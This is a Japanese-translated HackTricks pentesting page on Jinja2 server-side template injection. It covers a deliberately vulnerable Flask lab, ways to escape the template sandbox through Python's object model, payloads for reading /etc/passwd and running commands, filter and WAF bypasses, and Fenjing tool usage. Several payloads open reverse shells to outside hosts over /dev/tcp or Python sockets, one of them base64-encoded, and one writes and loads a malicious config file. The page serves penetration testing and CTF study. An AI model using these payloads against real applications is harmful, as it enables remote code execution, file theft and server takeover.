hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

17 KiB
Raw Blame History

Jinja2 SSTI

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

デバッグステートメント

デバッグ拡張機能が有効になっている場合、debugタグが使用可能になり、現在のコンテキストや利用可能なフィルターおよびテストをダンプすることができます。これは、デバッガをセットアップせずにテンプレートで使用可能なものを確認するのに役立ちます。

<pre>

{% raw %}
{% debug %}
{% endraw %}





</pre>

すべての構成変数をダンプする

ソース: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}



Jinjaインジェクション

まず第一に、Jinjaインジェクションでは、サンドボックスから脱出する方法を見つけ、通常のPython実行フローへのアクセスを回復する必要があります。これを行うためには、サンドボックスからアクセス可能非サンドボックス環境からのオブジェクトを悪用する必要があります。

グローバルオブジェクトへのアクセス

たとえば、コードrender_template("hello.html", username=username, email=email)では、usernameとemailというオブジェクトは非サンドボックスのPython環境から取得され、サンドボックス環境内でアクセス可能になります。
さらに、サンドボックス環境からは常にアクセス可能な他のオブジェクトもあります。

[]
''
()
dict
config
request

<class 'object'> の回復

次に、これらのオブジェクトからクラス <class 'object'> に到達する必要があります。これは、定義済みの クラス回復 しようとするためです。このオブジェクトから __subclasses__ メソッドを呼び出し、ノンサンドボックスのPython環境からすべてのクラスにアクセスできます。

その オブジェクトクラス にアクセスするには、クラスオブジェクトにアクセスし、__base____mro__()[-1]、または .mro()[-1] のいずれかにアクセスする必要があります。そして、この オブジェクトクラス に到達した後に __subclasses__() を呼び出します。

これらの例を確認してください:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}



# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

<class 'object'>を回復し、__subclasses__を呼び出した後、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになります。

__subclasses__への呼び出しにより、数百の新しい関数にアクセスできるようになりました。単にファイルクラスにアクセスするだけでファイルの読み書きosのようなコマンドの実行を許可するクラスにアクセスできることに満足するでしょう。

リモートファイルの読み書き

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

以下のクラスについて学ぶには、エスケープに使用できるさらなるクラスについて確認してください:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

フィルターバイパス

一般的なバイパス

これらのバイパスを使用すると、一部の文字を使用せずにオブジェクトの属性にアクセスできます。
これらのバイパスのいくつかは、前述の例で既に見てきましたが、ここでまとめてみましょう:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}



HTMLエンコーディングを回避する

デフォルトでは、セキュリティ上の理由から、Flaskはテンプレート内のすべてのをHTMLエンコードします。

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safeフィルターを使用すると、次のようにページにJavaScriptとHTMLをHTMLエンコードせずにインジェクトできます:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

悪意のある設定ファイルを書いてRCEを達成します。

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

いくつかの文字なし

{{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}



Jinjaインジェクション**<class 'object'>**なし

グローバルオブジェクトから、そのクラスを使用せずにRCEに到達する別の方法があります。
これらのグローバルオブジェクトから関数にアクセスできれば、__globals__.__builtins__にアクセスでき、そこからRCEは非常に簡単になります。

requestconfig、およびアクセス可能な他の興味深いグローバルオブジェクトから関数を見つけることができます。

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

一度いくつかの関数を見つけたら、次のようにして組み込み関数を復元できます:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是简单地发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法: